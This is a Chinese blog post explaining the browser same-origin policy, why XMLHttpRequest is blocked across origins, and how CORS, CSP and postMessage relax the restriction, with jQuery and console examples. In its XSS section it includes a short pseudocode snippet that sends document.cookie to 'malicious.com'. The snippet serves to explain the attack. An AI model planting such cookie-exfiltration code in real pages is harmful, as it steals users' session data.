本文已参与掘金创作者训练营第三期「话题写作」赛道,详情查看:掘力计划|创作者训练营第三期正在进行,「写」出个人影响力。
前言
跨域问题,大家在工作中肯定遇到过,也有对应的解决跨域的方案,但是今天我们并不是讲跨域的解决方案,而是围绕“为什么 XMLHTTPRequest 不能跨域?” 这个问题,进行思考和实践。下面就开始吧。
使用 AJAX 调用接口
下面我们将使用 jQuery 封装的 $.ajax 方法,分别请求两个接口,对比观察看看。
调用电影预告片网站的接口
<button>点我发请求</button>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script>
$("button").click(function () {
$.ajax({
url: "http://movie.ihaoze.cn/api/movie/hot",
success: function (res) {
console.log('res', res);
},
error() {
console.log('请求出错了');
}
});
});
</script>
测试发现,调用接口失败,控制台出现报错:
报错信息:
Access to XMLHttpRequest at 'movie.ihaoze.cn/api/movie/h…' from origin 'http://127.0.0.1:5501' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
翻译一下: 通过CORS策略已阻止从源"http://127.0.0.1:5501/" 访问 "movie.ihaoze.cn/api/movie/h…" 处的 XMLHttpRequest :所请求的资源上,返回的响应头不存在"Access-Control-Allow-Origin"。
简单来说,就是被 CORS 策略给阻止掉请求了。
看请求接口,返回的响应头,没有出现 Access-Control-Allow-Origin 的字段。
调用 cnode 社区提供的接口
只需要将上面的代码中的 url 改成 https://cnodejs.org/api/v1/topic/5433d5e4e737cbe96dcef312,进行测试即可。
你会发现,请求这个接口,可以成功获取到数据,控制台有打印对应的数据。
我们先来看看,请求 cnode 社区的接口的时候,返回响应头,有没有出现 Access-Control-Allow-Origin 的字样。
发现是有 Access-Control-Allow-Origin,是不是响应头 Access-Control-Allow-Origin: *,导致两者的请求不一样?
为什么请求 'movie.ihaoze.cn/api/movie/h…' 和 'cnodejs.org/api/v1/topi…' 这两个接口,请求的情况各不一样呢?
因为 cnode 社区,通过 Cross-origin resource sharing (跨域资源共享) 简称 CORS,解决了跨域问题,所以你调用接口,可以获取到对应的数据,而电影预告片网站的接口,没有做这样的处理,所以请求接口失败。
这就要回到我们今天的主题 “为什么 XMLHTTPRequest 不能跨域?”
回归正题
什么是 XMLHTTPRequest?
MDN 文档上的说明
XMLHttpRequest(XHR)对象用于与服务器交互。通过 XMLHttpRequest 可以在不刷新页面的情况下请求特定 URL,获取数据。这允许网页在不影响用户操作的情况下,更新页面的局部内容。XMLHttpRequest在 AJAX 编程中被大量使用。
简单来说,就是可以通过 XMLHttpRequest 来发送请求,并且页面没有刷新,只不过一般我们都是使用封装好的 ajax,而不是用 XMLHttpRequest 直接发请求,比如,上面使用到的 $.ajax 这个方法。
什么是跨域?
聊到跨域,就不得不说到同源策略。
同源策略是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSRF等攻击。所谓同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个ip地址,也非同源。
举个例子,大家看下下面这两个 URL,是否是同源呢?
https://time.geekbang.org/?category=1
https://time.geekbang.org/?category=0
是同源的,因为它们具有相同的协议 HTTPS、相同的域名 time.geekbang.org,以及相同的端口 443,所以我们就说这两个 URL 是同源的。
浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。
具体来讲,同源策略主要表现在 DOM、Web 数据和网络这三个层面。
DOM 层面
同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。
我们举个例子,来理解下
比如,我们在掘金的首页,打开控制台,然后输入下面这行代码,然后回车运行,就会打开作者排行榜的页面。
window.open('https://juejin.cn/recommendation/authors/recommended')
然后在作者排行榜,输入下面代码,然后回车运行
window.opener.document.body.style.display = 'none'
最后我们看到:首页的内容被隐藏掉了,就是给 body 设置了 display: none;
那我们在掘金首页打开的是其他的不同源的页面,比如: vue 官网 https://cn.vuejs.org/
window.open('https://cn.vuejs.org/')
然后在vue官网页面的控制台输入:
window.opener.document.body.style.display = 'none'
就会出现报错信息:
Uncaught DOMException: Blocked a frame with origin "cn.vuejs.org" from accessing a cross-origin frame.
为什么会出现那个报错呢?就是因为打开的 Vue 官网和掘金首页,并不是同源的,所以它们没有办法相互操作 DOM 了。
数据层面
同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。
由于同源策略,我们依然无法通过第二个页面的 opener 来访问第一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容。
大家感兴趣或者好奇的话,可以自己尝试一下,这里就不做演示了。
网络
同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。
这里就已经说明了为什么 XMLHTTPRequest 不能跨域?你现在清楚了吗?
安全和便利性的权衡
页面中可以嵌入第三方资源
最初的浏览器都是支持外部引用资源文件的,不过这也带来了很多问题。之前在开发浏览器的时候,遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往 HTML 文件中插入恶意脚本。
比如:当你不小心点击了页面中的一个恶意链接时,恶意 JavaScript 代码可以读取页面数据并将其发送给服务器,有可能将将页面的的敏感数据,如 Cookie、IndexDB、LoacalStorage 等数据通过 XSS 的手段发送给服务器,如下面这段伪代码:
function onClick(){
let url = `http://malicious.com?cookie = ${document.cookie}`
open(url)
}
onClick()
这是一个非常典型的 XSS 攻击。
为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。
CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。想了解更多,可以看Content Security Policy 入门教程
跨域资源共享和跨文档消息机制
跨域资源共享(CORS) ,使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。想了解更多,可以看阮一峰的网络日志:跨域资源共享 CORS 详解
跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。
参考
- 同源策略:为什么XMLHTTPREQUEST不能跨域请求资源?
- 32 | 同源策略:为什么XMLHttpRequest不能跨域请求资源?
- 浏览器原理 31 # 同源策略:为什么XMLHttpRequest不能跨域请求资源?
写到最后
同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。
同源策略是 Web 在 DOM、Web 数据和网络三个层面上提供的安全策略,保证我们在 Web 使用中的隐私和数据安全。但是过于严格的安全策略,损失了 Web 开发和使用中的灵活性,所以我们必须出让一部分安全性,以便达到安全和灵活的平衡。
- 页面允许引用第三方资源,为解决允许嵌入第三方资源的风险,最典型的就是XSS攻击,浏览器引入了内容安全策略,即【CSP】,由服务端来决定可以加载哪些第三方资源。
- 在Web 页面中我们经常需要通过 XMLHttpRequest 或 ajax发送跨域请求,而同源策略会阻止我们的请求,因此浏览器又在这种严格策略的基础之上引入了跨域资源共享策略,让其可以安全地进行跨域操作。
- 两个不同源的 DOM 是不能相互操纵的,因此,浏览器中又实现了跨文档消息机制,让其可以比较安全地通信。
文中如有错误,欢迎在评论区指正,如果这篇文章帮助到了你或者喜欢,欢迎点赞和关注。